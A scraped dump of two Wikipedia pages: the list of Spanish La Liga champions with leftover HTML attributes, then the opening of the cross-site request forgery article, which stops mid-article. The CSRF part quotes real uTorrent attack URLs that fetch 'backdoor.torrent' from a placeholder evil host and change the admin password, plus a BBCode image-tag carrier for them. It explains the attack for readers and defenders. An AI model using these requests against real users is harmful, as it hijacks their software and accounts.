text:
List of Spanish football champions
From Wikipedia, the free encyclopedia
Jump to: navigation, search
List of Spanish football champions
Founded
1929 - 1930
Country
Spain
Confederation
UEFA
Number of teams
20
Current champions
Real Madrid
(33rd title)
(2016–17)
Most championships
Real Madrid
(33 titles)
2017–18 season
The Spanish football champions are the winners of the primary football competition in Spain, La Liga. The league is contested on a round robin basis and the championship awarded to the team that is top of the league at the end of the season. La Liga, first established in 1929, originally contained ten teams. Before La Liga's organization, the Copa del Rey—a regionalised cup competition—was effectively the national championship.[1] La Liga is contested in by 20 teams; the three lowest-placed teams are relegated to the Segunda División and replaced by the top three teams in that division. Of the founding teams in La Liga, only Real Madrid, Barcelona and Athletic Bilbao have not been relegated.[2] The league was cancelled between 1936 and 1939 because of the Spanish Civil War.[3]
Real Madrid is the most successful club with 33 titles. The most recent club other than Real Madrid and Barcelona to win the league is Atlético Madrid in the 2013–14 season. With their 30 May Copa del Rey defeat of Athletic Bilbao, Barcelona has won the Spanish version of The Double the most times, having won the league and cup in the same year six times in its history, breaking its tie with Athletic's five.[4] Barcelona is the only Spanish team that has won the Treble, which includes the UEFA Champions League along with the league and Copa del Rey, and the only UEFA club to have won the treble twice after accomplishing that feat in 2015.[5] The current champions are Real Madrid, who won the 2016–17 competition.
Contents
[hide]
1 Champions
2 Total titles won
2.1 By city
2.2 By Autonomous Community
3 Notes
4 References
Champions[edit]
Key
Champions also won the Copa del Rey that season
* Champions also won the Copa del Rey and UEFA Champions League that season
† Champions also won the European Cup/UEFA Champions League that season
‡ Champions also won the UEFA Cup that season
The "Top scorer(s)" column refers to the player who scored the most goals during that season
The "Goals" column refers to the number of goals scored by the top scorer in the league in that season
Season
Winner[3]
Runner-up[6][7]
Third place[6][7]
Top scorer(s)[8]
Top scorer's club(s)[8]
Goals[8][9]
1929 Barcelona Real Madrid Athletic Bilbao Bienzobas, PacoPaco Bienzobas Real Sociedad 14
1929–30 Athletic Bilbao Barcelona Arenas Gorostiza, GuillermoGuillermo Gorostiza Athletic Bilbao 19
1930–31 Athletic Bilbao Racing Santander Real Sociedad Arana, Agustín SautoAgustín Sauto Arana Athletic Bilbao 27
1931–32 Real Madrid Athletic Bilbao Barcelona Gorostiza, GuillermoGuillermo Gorostiza Athletic Bilbao 12
1932–33 Real Madrid Athletic Bilbao Espanyol Olivares, ManuelManuel Olivares Real Madrid 16
1933–34 Athletic Bilbao Real Madrid Racing Santander Langara, IsidroIsidro Lángara Real Oviedo 27
1934–35 Real Betis Real Madrid Real Oviedo Langara, IsidroIsidro Lángara Real Oviedo 26
1935–36 Athletic Bilbao Real Madrid Real Oviedo Langara, IsidroIsidro Lángara Real Oviedo 27
1936–37 Spanish Civil War (League Cancelled)
1937–38
1938–39
1939–40 Atlético Aviación[A] Sevilla Athletic Bilbao Unamuno, VictorVíctor Unamuno Athletic Bilbao 22
1940–41 Atlético Aviación Athletic Bilbao Valencia Pruden, Pruden Atlético Aviación 30
1941–42 Valencia Real Madrid Atlético Aviación Suarez, EdmundoEdmundo Suárez Valencia 27
1942–43 Athletic Bilbao Sevilla Barcelona Martin, MarianoMariano Martín Barcelona 32
1943–44 Valencia Atlético Aviación Sevilla Suarez, EdmundoEdmundo Suárez Valencia 27
1944–45 Barcelona Real Madrid Atlético Aviación Zarra, TelmoTelmo Zarra Atlético Bilbao 19
1945–46 Sevilla Barcelona Athletic Bilbao Zarra, TelmoTelmo Zarra Atlético Bilbao 24
1946–47 Valencia Athletic Bilbao Atlético Aviación Zarra, TelmoTelmo Zarra Atlético Bilbao 34
1947–48 Barcelona Valencia Atlético Madrid Pahino Pahiño Celta de Vigo 23
1948–49 Barcelona Valencia Real Madrid AlvarezCésar Rodríguez Álvarez Barcelona 28
1949–50 Atlético Madrid Deportivo La Coruña Valencia Zarra, TelmoTelmo Zarra Athletic Bilbao 25
1950–51 Atlético Madrid Sevilla Valencia Zarra, TelmoTelmo Zarra Athletic Bilbao 38
1951–52 Barcelona Athletic Bilbao Real Madrid Pahino Pahiño Real Madrid 28
1952–53 Barcelona Valencia Real Madrid Zarra, TelmoTelmo Zarra Athletic Bilbao 24
1953–54 Real Madrid Barcelona Valencia Stefano, Alfredo DiAlfredo Di Stéfano Real Madrid 27
1954–55 Real Madrid Barcelona Athletic Bilbao Arza, JuanJuan Arza Sevilla 28
1955–56 Athletic Bilbao Barcelona Real Madrid Stefano, Alfredo DiAlfredo Di Stéfano Real Madrid 24
1956–57 Real Madrid† Sevilla Barcelona Stefano, Alfredo DiAlfredo Di Stéfano Real Madrid 31
1957–58 Real Madrid† Atlético Madrid Barcelona Badenes, ManuelManuel Badenes
Alfredo Di Stéfano
Ricardo Valladolid
Real Madrid
Valencia 19
1958–59 Barcelona Real Madrid Athletic Bilbao Stefano, Alfredo DiAlfredo Di Stéfano Real Madrid 23
1959–60 Barcelona Real Madrid Athletic Bilbao Puskas, FerencFerenc Puskás Real Madrid 26
1960–61 Real Madrid Atlético Madrid Real Zaragoza Puskas, FerencFerenc Puskás Real Madrid 27
1961–62 Real Madrid Barcelona Atlético Madrid Seminario, JuanJuan Seminario Zaragoza 25
1962–63 Real Madrid Atlético Madrid Real Oviedo Puskas, FerencFerenc Puskás Real Madrid 26
1963–64 Real Madrid Barcelona Real Betis Puskas, FerencFerenc Puskás Real Madrid 20
1964–65 Real Madrid Atlético Madrid Zaragoza Re, CayetanoCayetano Ré Barcelona 25
1965–66 Atlético Madrid Real Madrid Barcelona Vava Vavá Elche 19
1966–67 Real Madrid Barcelona Espanyol Machado, WaldoWaldo Machado Valencia 24
1967–68 Real Madrid Barcelona Las Palmas Uriarte, FidelFidel Uriarte Athletic Bilbao 22
1968–69 Real Madrid Las Palmas Barcelona Amaro, AmancioAmancio Amaro
José Eulogio Gárate Real Madrid
Atlético Madrid 14
1969–70 Atlético Madrid Athletic Bilbao Sevilla Amaro, AmancioAmancio Amaro
Luis Aragonés
José Eulogio Gárate Real Madrid
Atlético Madrid
Atlético Madrid 16
1970–71 Valencia Barcelona Atlético Madrid Garate, Jose EulogioJosé Eulogio Gárate
Carles Rexach Atlético Madrid
Barcelona 17
1971–72 Real Madrid Valencia Barcelona Porta, EnriqueEnrique Porta Granada 20
1972–73 Atlético Madrid Barcelona Espanyol Marianin Marianín Real Oviedo 19
1973–74 Barcelona Atlético Madrid Zaragoza Quini, Quini Sporting de Gijón 20
1974–75 Real Madrid Zaragoza Barcelona Herrero, Carlos RuizCarlos Ruiz Herrero Athletic Bilbao 19
1975–76 Real Madrid Barcelona Atlético Madrid Quini, Quini Sporting de Gijón 21
1976–77 Atlético Madrid Barcelona Athletic Bilbao Kempes, MarioMario Kempes Valencia 24
1977–78 Real Madrid Barcelona Athletic Bilbao Kempes, MarioMario Kempes Valencia 28
1978–79 Real Madrid Sporting de Gijón Atlético Madrid Krankl, HansHans Krankl Barcelona 29
1979–80 Real Madrid Real Sociedad Sporting de Gijón Quini, Quini Sporting de Gijón 24
1980–81 Real Sociedad Real Madrid Atlético Madrid Quini, Quini Barcelona 20
1981–82 Real Sociedad Barcelona Real Madrid Quini, Quini Barcelona 26
1982–83 Athletic Bilbao Real Madrid Atlético Madrid Rincon, HipolitoHipólito Rincón Real Betis 20
1983–84 Athletic Bilbao Real Madrid Barcelona Silva, Jorge daJorge da Silva
Juanito Valladolid
Real Madrid 17
1984–85 Barcelona Atlético Madrid Athletic Bilbao Sanchez, HugoHugo Sánchez Atlético Madrid 19
1985–86 Real Madrid‡ Barcelona Athletic Bilbao Sanchez, HugoHugo Sánchez Real Madrid 22
1986–87 Real Madrid Barcelona Espanyol Sanchez, HugoHugo Sánchez Real Madrid 34
1987–88 Real Madrid Real Sociedad Atlético Madrid Sanchez, HugoHugo Sánchez Real Madrid 29
1988–89 Real Madrid Barcelona Valencia Baltazar, Baltazar Atlético Madrid 35
1989–90 Real Madrid Valencia Barcelona Sanchez, HugoHugo Sánchez Real Madrid 38
1990–91 Barcelona Atlético Madrid Real Madrid Butragueno, EmilioEmilio Butragueño Real Madrid 19
1991–92 Barcelona† Real Madrid Atlético Madrid Manolo, Manolo Atlético Madrid 27
1992–93 Barcelona Real Madrid Deportivo La Coruña Bebeto, Bebeto Deportivo La Coruña 29
1993–94 Barcelona Deportivo La Coruña Zaragoza Romario Romário Barcelona 30
1994–95 Real Madrid Deportivo La Coruña Real Betis Zamorano, IvanIván Zamorano Real Madrid 28
1995–96 Atlético Madrid Valencia Barcelona Pizzi, Juan AntonioJuan Antonio Pizzi Tenerife 31
1996–97 Real Madrid Barcelona Deportivo La Coruña Ronaldo Ronaldo Barcelona 34
1997–98 Barcelona Athletic Bilbao Real Sociedad Vieri, ChristianChristian Vieri Atlético Madrid 24
1998–99 Barcelona Real Madrid Mallorca Raul Raúl Real Madrid 25
1999–2000 Deportivo La Coruña Barcelona Valencia Ballesta, SalvaSalva Ballesta Racing Santander 27
2000–01 Real Madrid Deportivo La Coruña Mallorca Raul Raúl Real Madrid 24
2001–02 Valencia Deportivo La Coruña Real Madrid Tristan, DiegoDiego Tristán Deportivo La Coruña 21
2002–03 Real Madrid Real Sociedad Deportivo La Coruña Makaay, RoyRoy Makaay Deportivo La Coruña 29
2003–04 Valencia‡ Barcelona Deportivo La Coruña Ronaldo Ronaldo Real Madrid 25
2004–05 Barcelona Real Madrid Villarreal Forlan, DiegoDiego Forlán Villarreal 25
2005–06 Barcelona† Real Madrid Valencia Eto'o, SamuelSamuel Eto'o Barcelona 26
2006–07 Real Madrid Barcelona Sevilla van Nistelrooy, RuudRuud van Nistelrooy Real Madrid 25
2007–08 Real Madrid Villarreal Barcelona Guiza, DanielDaniel Güiza Mallorca 27
2008–09 Barcelona* Real Madrid Sevilla Forlan, DiegoDiego Forlán Atlético Madrid 32
2009–10 Barcelona Real Madrid Valencia Messi, LionelLionel Messi Barcelona 34
2010–11 Barcelona† Real Madrid Valencia Ronaldo, CristianoCristiano Ronaldo Real Madrid 40
2011–12 Real Madrid Barcelona Valencia Messi, LionelLionel Messi Barcelona 50
2012–13 Barcelona Real Madrid Atlético Madrid Messi, LionelLionel Messi Barcelona 46
2013–14 Atlético Madrid Barcelona Real Madrid Ronaldo, CristianoCristiano Ronaldo Real Madrid 31
2014–15 Barcelona* Real Madrid Atlético Madrid Ronaldo, CristianoCristiano Ronaldo Real Madrid 48
2015–16 Barcelona Real Madrid Atlético Madrid Suarez, LuisLuis Suárez Barcelona 40
2016–17 Real Madrid† Barcelona Atlético Madrid Messi, LionelLionel Messi Barcelona 37
2017–18 Barcelona
Total titles won[edit]
Real Betis
Sevilla FC
Deportivo de La Coruña
Real Sociedad
Valencia CF
Athletic Bilbao
Atlético Madrid
FC Barcelona
Real Madrid
Location of Spanish football champions
Club
Winners
Runners-up
Real Madrid
33 23
Barcelona
24 25
Atlético Madrid
10 8
Athletic Bilbao
8 7
Valencia
6 6
Real Sociedad
2 3
Deportivo La Coruña
1 5
Sevilla
1 4
Real Betis
1 0
Titles won by club (%)
Real Madrid – 33 (38%)
Barcelona – 24 (28%)
Atlético Madrid – 10 (12%)
Athletic Bilbao – 8 (9%)
Valencia – 6 (7%)
Other clubs (6%)
By city[edit]
City
Championships
Clubs
Madrid
43 Real Madrid (33), Atlético Madrid (10)
Barcelona
24 Barcelona (24)
Bilbao
8 Athletic Bilbao (8)
Valencia
6 Valencia (6)
San Sebastián
2 Real Sociedad (2)
Seville
2 Real Betis (1), Sevilla (1)
A Coruña
1 Deportivo La Coruña (1)
By Autonomous Community[edit]
Community
Championships
Clubs
Madrid
43 Real Madrid (33), Atlético Madrid (10)
Catalonia
24 Barcelona (24)
Basque Country
10 Athletic Bilbao (8), Real Sociedad (2)
Valencia
6 Valencia (6)
Andalusia
2 Real Betis (1), Sevilla (1)
Galicia
1 Deportivo La Coruña (1)
Notes[edit]
A. a Atlético Madrid were known as Atlético Aviación from 1939 until 1947.
References[edit]
Bibliography
Cresswell, Peterjon; Simon Evans (1997). European Football, A Fan's Handbook. Rough Guides. ISBN 1-85828-256-X.
Citations
Jump up ^ Cresswell. European Football, A Fan's Handbook. p. 489.
Jump up ^ Hughes, Rob (8 April 2007). "Athletic Bilbao gets an Easter gift". The New York Times. Retrieved 4 December 2008.
^ Jump up to: a b "Spain - List of Champions". Rec.Sport.Soccer Statistics Foundation. 4 September 2008. Retrieved 29 November 2008.
Jump up ^ "Doing the Double!". Rec.Sport.Soccer Statistics Foundation. 27 November 2008. Retrieved 29 November 2008.
Jump up ^ Ashby, Kevin (27 May 2009). "Guardiola salutes his treble winners". Union of European Football Associations. Retrieved 28 May 2009.
^ Jump up to: a b "Spain , Final tables 1928–". Rec.Sport.Soccer Statistics Foundation. 28 September 2000. Retrieved 24 August 2009.
^ Jump up to: a b "Latest Spanish Primera Liga Table". Soccerbase. Retrieved 29 August 2009.
^ Jump up to: a b c "Spain - List of topscorers". Rec.Sport.Soccer Statistics Foundation. 12 June 2009. Retrieved 29 August 2009.
Jump up ^ "Laws of the game (Law 10)". Federation Internationale de Futbol Associacion. Archived from the original on 21 April 2008. Retrieved 29 April 2008.
[show]
v
t
e
Lists of national association football champions of Europe (UEFA)
Active
Albania
Austria
Belgium
Bosnia and Herzegovina
Bulgaria
Croatia
Cyprus
Czech Republic
Denmark
England
Finland
France
Germany
Greece
Hungary
Ireland
Israel
Italy
Macedonia
Netherlands
Norway
Poland
Portugal
Romania
Russia
Scotland
Serbia
Slovenia
Spain
Sweden
Switzerland
Turkey
Ukraine
Wales
Defunct
Czechoslovakia
East Germany
Soviet Union
Yugoslavia
[show]
v
t
e
Football in Spain
AFE
ANEF
CTA
CSD
COE
LFP
RFEF
National teams
Men's national team
U-23
U-21
U-20
U-19
U-18
U-17
U-16
U-15
Women's national team
U-20
U-19
U-17
League system
Level 1
Primera División
Level 2
Segunda División
Level 3
Segunda División B (4 groups)
Level 4
Tercera División (18 groups)
Levels 5–10
Divisiones Regionales (Andalusia
Aragon
Asturias
Balearic
Basque
Canary
Cantabria
Castile-La Mancha
Castile and León
Catalonia
Extremadura
Galicia
La Rioja
Madrid
Murcia
Navarre
Valencia
Ceuta, Melilla)
Women's league system
Level 1
Primera División
Level 2
Segunda División (7 groups)
Levels 3–5
Ligas Regionales (Andalusia, Aragon, Asturias, Balearic, Basque, Canary, Cantabria, Castile-La Mancha, Castile and León, Catalonia, Extremadura, Galicia, La Rioja, Madrid, Murcia, Navarre, Valencia, Ceuta, Melilla)
Youth league system
División de Honor Juvenil (7 groups)
Liga Nacional Juvenil (21 groups)
Domestic cups
Copa del Rey
Copa de la Liga (defunct)
Copa Eva Duarte (replaced)
Supercopa de España
Copa Federación
Spanish stage of the UEFA Regions' Cup
Women's domestic cups
Copa de la Reina
Youth domestic cups
Copa de Campeones Juvenil
Copa del Rey Juvenil
Clubs
Stadiums
Records
Foreign players
Champions
[show]
v
t
e
La Liga seasons
1929
1929–30
1930–31
1931–32
1932–33
1933–34
1934–35
1935–36
1939–40
1940–41
1941–42
1942–43
1943–44
1944–45
1945–46
1946–47
1947–48
1948–49
1949–50
1950–51
1951–52
1952–53
1953–54
1954–55
1955–56
1956–57
1957–58
1958–59
1959–60
1960–61
1961–62
1962–63
1963–64
1964–65
1965–66
1966–67
1967–68
1968–69
1969–70
1970–71
1971–72
1972–73
1973–74
1974–75
1975–76
1976–77
1977–78
1978–79
1979–80
1980–81
1981–82
1982–83
1983–84
1984–85
1985–86
1986–87
1987–88
1988–89
1989–90
1990–91
1991–92
1992–93
1993–94
1994–95
1995–96
1996–97
1997–98
1998–99
1999–2000
2000–01
2001–02
2002–03
2003–04
2004–05
2005–06
2006–07
2007–08
2008–09
2009–10
2010–11
2011–12
2012–13
2013–14
2014–15
2015–16
2016–17
2017–18
2018–19
Retrieved from "https://en.wikipedia.org/w/index.php?title=List_of_Spanish_football_champions&oldid=838518299"
Categories:
Association football in Spain lists
National association football champions
La Liga
Hidden categories:
Articles with hCards
Featured lists
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Article
Talk
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Contents
Featured content
Current events
Random article
Donate to Wikipedia
Wikipedia store
Interaction
Help
About Wikipedia
Community portal
Recent changes
Contact page
Tools
What links here
Related changes
Upload file
Special pages
Permanent link
Page information
Wikidata item
Cite this page
Print/export
Create a book
Download as PDF
Printable version
Languages
العربية
Català
Español
Italiano
ქართული
Magyar
Português
Русский
Scots
Türkçe
Українська
4 more
Edit links
This page was last edited on 27 April 2018, at 14:45.
Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia® is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization.
Privacy policy
About Wikipedia
Disclaimers
Contact Wikipedia
Developers
Cookie statement
Mobile view
Enable previews

values: mw-page-base noprint

values: mw-head-base noprint

values: This is a featured list. Click here for more information.

attrs: class id

values: firstHeading firstHeading en

values: siteSub noprint

values: jump-to-nav mw-jump

value: caption

values:
row
white-space: nowrap

values:
/wiki/Real_Madrid
mw-redirect
Real Madrid

attrs: alt src width height data-file-width data-file-height

values:
/wiki/European_Cup
mw-redirect
European Cup

values:
col
headerSort
0
columnheader button
Sort ascending

values:
headerSort
0
columnheader button
Sort ascending

values:
/wiki/La_Liga_1929
mw-redirect
La Liga 1929

values: Ricardo de la Virgen (page does not exist)

values: Vavá (Spanish footballer) (page does not exist)

values:
/wiki/Daniel_G%C3%BCiza
mw-redirect
Daniel Güiza

values: List of Spanish football champions is located in Spain

values: sortable plainrowheaders wikitable jquery-tablesorter

values: position:absolute;width:100px;line-height:0;left:0; top:0; border-width:0 200px 200px 0; border-color:grey

values: position:absolute;width:100px;line-height:0;left:100px; top:100px; border-width:100px 0 0 252.57116894474px; border-left-color:yellow

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 200px 100px 0;border-color:yellow

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 100px 200px 0;border-color:yellow

values: position:absolute;width:100px;line-height:0;left:100px; top:100px; border-width:100px 0 0 93.906250581751px; border-left-color:red

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 200px 100px 0;border-color:red

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 100px 200px 0;border-color:red

values: position:absolute;width:100px;line-height:0;left:100px; top:100px; border-width:100px 0 0 19.076020221857px; border-left-color:#C80000

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 200px 100px 0;border-color:#C80000

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 100px 200px 0;border-color:#C80000

values: position:absolute;width:100px;line-height:0;right:100px; top:100px; border-width:84.432792550202px 53.582679497899px 0 0; border-top-color:purple

values: position:absolute;line-height:0;border-style:solid;left:0;top:0;border-width:0 200px 100px 0;border-color:purple

values: position:absolute;width:100px;line-height:0;right:100px; top:0; border-width:0 106.48918403248px 100px 0; border-right-color:white

values: position:absolute;line-height:0;border-style:solid;right:0;top:0;border-width:0 100px 100px 0;border-color:white

values: display:inline-block; width:1.5em; height:1.5em; margin:1px 0; border:1px solid black; background-color:white; color:black; font-size:100%; text-align:center;

values: -webkit-column-break-inside: avoid;page-break-inside: avoid;break-inside: avoid-column

values: display:inline-block; width:1.5em; height:1.5em; margin:1px 0; border:1px solid black; background-color:purple; color:black; font-size:100%; text-align:center;

values: display:inline-block; width:1.5em; height:1.5em; margin:1px 0; border:1px solid black; background-color: #C80000; color:black; font-size:100%; text-align:center;

values: display:inline-block; width:1.5em; height:1.5em; margin:1px 0; border:1px solid black; background-color:red; color:black; font-size:100%; text-align:center;

values: display:inline-block; width:1.5em; height:1.5em; margin:1px 0; border:1px solid black; background-color:yellow; color:black; font-size:100%; text-align:center;

values: display:inline-block; width:1.5em; height:1.5em; margin:1px 0; border:1px solid black; background-color:grey; color:black; font-size:100%; text-align:center;

values:
nofollow
external text
http://rsssf.com/tabless/spantops.html

values:
reflist mw-references-wrap
list-style-type: decimal;

values: List of Bosnia and Herzegovina football champions

values: List of Norwegian football league champions

values: List of Soviet and Russian football champions

values:
/wiki/List_of_Welsh_football_champions
mw-redirect
List of Welsh football champions

values: nowraplinks collapsible autocollapse navbox-inner

values: Asociación Nacional de Entrenadores de Fútbol

values: Spain women's national under-20 football team

values: Spain women's national under-19 football team

values: Spain women's national under-17 football team

values: Divisiones Regionales de Fútbol in Andalusia

values: Divisiones Regionales de Fútbol in Aragon

values: Divisiones Regionales de Fútbol in Asturias

values: Divisiones Regionales de Fútbol in Balearic Islands

values: Divisiones Regionales de Fútbol in the Basque Country

values: Divisiones Regionales de Fútbol in Canary Islands

values: Divisiones Regionales de Fútbol in Cantabria

values: Divisiones Regionales de Fútbol in Castile-La Mancha

values: Divisiones Regionales de Fútbol in Castile and León

values: Divisiones Regionales de Fútbol in Catalonia

values: Divisiones Regionales de Fútbol in Extremadura

values: Divisiones Regionales de Fútbol in Galicia

values: Divisiones Regionales de Fútbol in La Rioja

values: Divisiones Regionales de Fútbol in the Community of Madrid

values: Divisiones Regionales de Fútbol in the Region of Murcia

values: Divisiones Regionales de Fútbol in Navarre

values: Divisiones Regionales de Fútbol in the Valencian Community

values: Divisiones Regionales de Fútbol in Ceuta and Melilla

values: Ligas Regionales (Spanish women's football)

values: nowraplinks hlist collapsible autocollapse navbox-inner

values: Category:Association football in Spain lists

values: Category:National association football champions

values: Discussion about edits from this IP address [ctrl-alt-n]

values: A list of edits made from this IP address [ctrl-alt-y]

values: You are encouraged to create an account and log in; however, it is not mandatory

values: You're encouraged to log in; however, it's not mandatory. [ctrl-alt-o]

values:
p-cactions
navigation
vectorMenu emptyPortlet
p-cactions-label

values:
mw-wiki-logo
/wiki/Main_Page
Visit the main page

values:
/wiki/Main_Page
Visit the main page [ctrl-alt-z]
z

values: Featured content – the best of Wikipedia

values: A list of all special pages [ctrl-alt-q]

values: Permanent link to this revision of the page

values: Link to connected data repository item [ctrl-alt-g]

values: Printable version of this page [ctrl-alt-p]

values: قائمة الأندية الفائزة بالدوري الإسباني لكرة القدم – Arabic

values: interlanguage-link interwiki-ar badge-Q17506997 badge-featuredlist

values: Historial de la Primera divisió espanyola de futbol – Catalan

values: Historial de la Primera División de España – Spanish

values: Albo d'oro della Primera División (Spagna) – Italian

values: ესპანეთის ჩემპიონები ფეხბურთში – Georgian

values:
interlanguage-link interwiki-ka
display: none;

values: Spanyol labdarúgó-bajnokcsapatok listája – Hungarian

values:
interlanguage-link interwiki-hu
display: none;

values: Lista de vencedores de provas espanholas de futebol por época – Portuguese

values: Чемпионы Испании по футболу – Russian

values: Leet o Spaingie fitbaw champions – Scots

values:
interlanguage-link interwiki-sco
display: none;

values: Список переможців чемпіонату Іспанії з футболу – Ukrainian

values:
interlanguage-link interwiki-uk
display: none;

values: All languages (initial selection from common choices by you and others)

values: /static/images/wikimedia-button-1.5x.png 1.5x, /static/images/wikimedia-button-2x.png 2x

values: /static/images/poweredby_mediawiki_132x47.png 1.5x, /static/images/poweredby_mediawiki_176x62.png 2x

values:
suggestions
display: none; font-size: 13px;

values: mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-List_of_Spanish_football_champions rootpage-List_of_Spanish_football_champions skin-vector action-view


text:
Cross-site request forgery
From Wikipedia, the free encyclopedia
Jump to: navigation, search
Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf[1]) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts.[2] There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
Contents
[hide]
1 History
2 Example and characteristics
3 Forging login requests
4 HTTP verbs and CSRF
5 Other approaches to CSRF
6 Effects
7 Limitations
8 Prevention
8.1 Synchronizer token pattern
8.2 Cookie-to-header token
8.3 Client-side safeguards
8.4 Other techniques
9 See also
10 References
11 External links
History[edit]
CSRF vulnerabilities have been known and in some cases exploited since 2001.[3] Because it is carried out from the user's IP address, some website logs might not have evidence of CSRF.[2] Exploits are under-reported, at least publicly, and as of 2007[4] there are few well-documented examples:
The Netflix website in 2006 had numerous vulnerabilities to CSRF, which could have allowed an attacker to perform actions such as adding a DVD to the victim's rental queue, changing the shipping address on the account, or altering the victim's login credentials to fully compromise the account.[5]
The online banking web application of ING Direct was vulnerable to a CSRF attack that allowed illicit money transfers.[6]
Popular video website YouTube was also vulnerable to CSRF in 2008 and this allowed any attacker to perform nearly all actions of any user.[6]
McAfee was also vulnerable to CSRF and it allowed attackers to change their company system.[7]
Example and characteristics[edit]
A National Vulnerability Database page describing a CSRF vulnerability
Attackers who can find a reproducible link that executes a specific action on the target page while the victim is logged in can embed such link on a page they control and trick the victim into opening it.[1] The attack carrier link may be placed in a location that the victim is likely to visit while logged into the target site (for example, a discussion forum), or sent in a HTML email body or attachment. A real CSRF vulnerability in uTorrent (CVE-2008-6586) exploited the fact that its web console accessible at localhost:8080 allowed mission-critical actions to be executed as a matter of simple GET request:
Force a .torrent file download
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
Change uTorrent administrator password
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
Attacks were launched by placing malicious, automatic-action HTML image elements on forums and email spam, so that browsers visiting these pages would open them automatically, without much user action. People running vulnerable uTorrent version at the same time as opening these pages were susceptible to the attack.
CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript, for example using BBCode:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
When accessing the attack link to the local uTorrent application at localhost:8080, the browser would also always automatically send any existing cookies for that domain. This general property of web browsers enables CSRF attacks to exploit their targeted vulnerabilities and execute hostile actions as long as the user is logged into the target website (in this example, the local uTorrent web interface) at the time of the attack.
A cross-site request forgery is a confused deputy attack against a web browser. The deputy in the bank example is Alice's web browser, which is confused into misusing Alice's authority at Mallory's direction.
CSRF commonly has the following characteristics:
It involves sites that rely on a user's identity.
It exploits the site's trust in that identity.
It tricks the user's browser into sending HTTP requests to a target site.
It involves HTTP requests that have side effects.
At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site that trusts the user and thereby causes an unwanted action.
In the uTorrent example described above, the attack was facilitated by the fact that uTorrent's web interface used GET request for critical state-changing operations (change credentials, download a file etc.), which RFC 2616 explicitly discourages:
In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.
Because of this assumption, many existing CSRF prevention mechanisms in web frameworks will not cover GET requests, but rather apply the protection only to HTTP methods that are intended to be state-changing.[8]
Forging login requests[edit]
An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with his legitimate credentials and view private information like activity history that has been saved in the account. This attack has been demonstrated against Google[9] and Yahoo.[10]
HTTP verbs and CSRF[edit]
Different HTTP request methods have different level of susceptibility to CSRF attacks and require different levels of protection due to their different handling by web browsers.
In HTTP GET the CSRF exploitation is trivial, using methods described above, such as a simple hyperlink containing manipulated parameters and automatically loaded by a IMG tag. By the HTTP specification however, GET should be used as a safe method, that is, not significantly changing user's state in the application. Applications using GET for such operations should switch to HTTP POST or use anti-CSRF protection.
HTTP POST has different vulnerability to CSRF, depending on detailed usage scenarios:
In simplest form of POST with data encoded as a query string (field1=value1&field2=value2) CSRF attack is easily implemented using a simple HTML form and anti-CSRF measures must be applied.
If data is sent in any other format (JSON, XML) a standard method is to issue a POST request using XMLHttpRequest with CSRF attacks prevented by SOP and CORS; there is a technique to send arbitrary content from a simple HTML form using ENCTYPE attribute; such a fake request can be distinguished from legitimate ones by text/plain content type, but if this is not enforced on the server, CSRF can be executed[11][12]
other HTTP methods (PUT, DELETE etc.) can only be issued using XMLHttpRequest with SOP and CORS and preventing CSRF; these measures however will not be active on websites that explicitly disable them using Access-Control-Allow-Origin: * header
Other approaches to CSRF[edit]
Additionally, while typically described as a static type of attack, CSRF can also be dynamically constructed as part of a payload for a cross-site scripting attack, as demonstrated by the Samy worm, or constructed on the fly from session information leaked via offsite content and sent to a target as a malicious URL. CSRF tokens could also be sent to a client by an attacker due to session fixation or other vulnerabilities, or guessed via a brute-force attack, rendered on a malicious page that generates thousands of failed requests. The attack class of "Dynamic CSRF", or using a per-client payload for session-specific forgery, was described[13] in 2009 by Nathan Hamiel and Shawn Moyer at the BlackHat Briefings,[14] though the taxonomy has yet to gain wider adoption.
A new vector for composing dynamic CSRF attacks was presented by Oren Ofer at a local OWASP chapter meeting on January 2012 – "AJAX Hammer – Dynamic CSRF".[15][16]
Effects[edit]
According to the United States Department of Homeland Security, the most dangerous CSRF vulnerability ranks as the 909th most dangerous software bug ever found.[17] Other severity metrics have been issued for CSRF vulnerabilities that result in remote code execution with root privileges[18] as well as a vulnerability that can compromise a root certificate, which will completely undermine a public key infrastructure.[19]
Limitations[edit]
Several things have to happen for cross-site request forgery to succeed:
The attacker must target either a site that doesn't check the referrer header or a victim with a browser or plugin that allows referer spoofing.[citation needed]
The attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password).
The attacker must determine the right values for all the forms or URL inputs; if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will most likely fail (unless the attacker is extremely lucky in their guess).
The attacker must lure the victim to a web page with malicious code while the victim is logged into the target site.
